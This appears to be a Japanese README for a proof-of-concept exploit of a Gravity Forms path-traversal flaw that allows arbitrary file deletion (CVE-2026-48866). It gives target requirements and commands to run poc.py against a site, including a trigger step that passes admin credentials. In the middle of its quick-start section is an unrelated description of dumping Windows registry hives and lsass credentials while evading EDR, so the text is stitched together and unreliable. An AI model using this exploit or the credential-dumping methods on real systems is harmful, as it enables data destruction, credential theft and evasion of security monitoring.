
CVE-2026-48866 — Gravity Forms <= 2.10.0.1 パストラバーサルによる任意ファイル削除 (CVSS 9.6)
---``` ┌───────────────────────────────────────────────────────────┐ │ │ │ C V E - 2 0 2 6 - 4 8 8 6 6 │ │ │ │ Gravity Forms Path Traversal → Arbitrary File Deletion │ │ │ └───────────────────────────────────────────────────────────┘
<h3 align="center">
<code>gform_uploaded_files</code> はURL内で <code>../</code> を受け入れます。管理者の削除クリックにより任意のファイル削除が発生します。
</h3>
<p align="center">
<a href="https://nvd.nist.gov/vuln/detail/CVE-2026-48866">NVD</a> •
<a href="https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability">Patchstack</a> •
<a href="https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422">修正コミット</a> •
<a href="https://github.com/codewurker/gravityforms">ソースミラー</a>
</p>
---
## 目次
<table>
<tr>
<td width="50%">
**エクスプロイト**
- [クイックスタート](#quick-start)
- [動作の仕組み](#how-it-works)
- [影響](#impact)
- [使用方法](#usage)
</td>
<td width="50%">
**防御**
- [技術的詳細](#technical-deep-dive)
- [検出](#detection)
- [修復](#remediation)
- [参考資料](#references)
</td>
</tr>
</table>
---
## クイックスタート```
┌─────────────────────────────────────────────────────────────────────┐
│ REQUIREMENTS │
│ ─────────────────────────────────────────────────────────────── │
│ Target WordPress + Gravity Forms ≤ 2.10.0.1 │
│ Form Public form with a file upload field │
│ Python 3.8+ with requests │
│ Auth None (injection) / Admin creds (trigger) │
└─────────────────────────────────────────────────────────────────────┘
このツールはWindowsシステムからSAM、SECURITY、SYSTEMレジストリハイブを取得するための複数のアクセス手法を実装します。手法の選択はOSバージョン(例: 32ビット vs. 64ビット)と利用可能な特権によって決定され、より高い特権の手法が失敗した場合は自動的にフォールバックします。
管理者がサードパーティ製ドライバ(例: ETL処理用のUltimateSQL dll)をロードすると、ダンププロセス (lsass.exe) を使用して直接資格情報を抽出できます(正規のセキュリティツールと同様に動作します)が、標準の MiniDumpWriteDump API呼び出しを使用しないことで、エンドポイント検出・応答 (EDR) ソリューションを回避します:
%windir%\system32\config から直接ファイルコピーアクセス—最も単純ですが、ファイルロックの問題が発生します。HKEY_LOCAL_MACHINE のネイティブレジストリハンドルにフォールバックします(XP/2003では RegSaveKeyW を使用、Vista以降では REG_SAVE_FORMAT_USER_EXCLUDE_SPECIAL フラグ付きの RegSaveKeyExW)。この方法は静かですが、SeBackupPrivilege に依存します。注: 64ビットOS上の32ビットプロセスでは、KEY_WOW64_64KEY フラグを使用して実際の64ビットネイティブハイブにアクセスします。MiniDumpWriteDump を使用せず、ディスクアーティファクトを残しません。この方法はより高い特権(通常 SYSTEM または同等)が必要で、最もステルス性が高く、ほとんどのEDR検出を回避するように設計されています。また、オフラインメモリダンプの解析にも対応しています(例: フォレンジック用)。nanodump ベース(フォーマット: カスタム)、comsvcs.dll ベース(フォーマット: MiniDump)、secretsdump に着想を得た純粋Pythonパーサー。```bash
git clone https://github.com/0xABCD01/CVE-2026-48866.git
cd CVE-2026-48866
pip install requestspython3 poc.py -t https://test.com -f 1 -i 3
python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'
---
## 動作の仕組み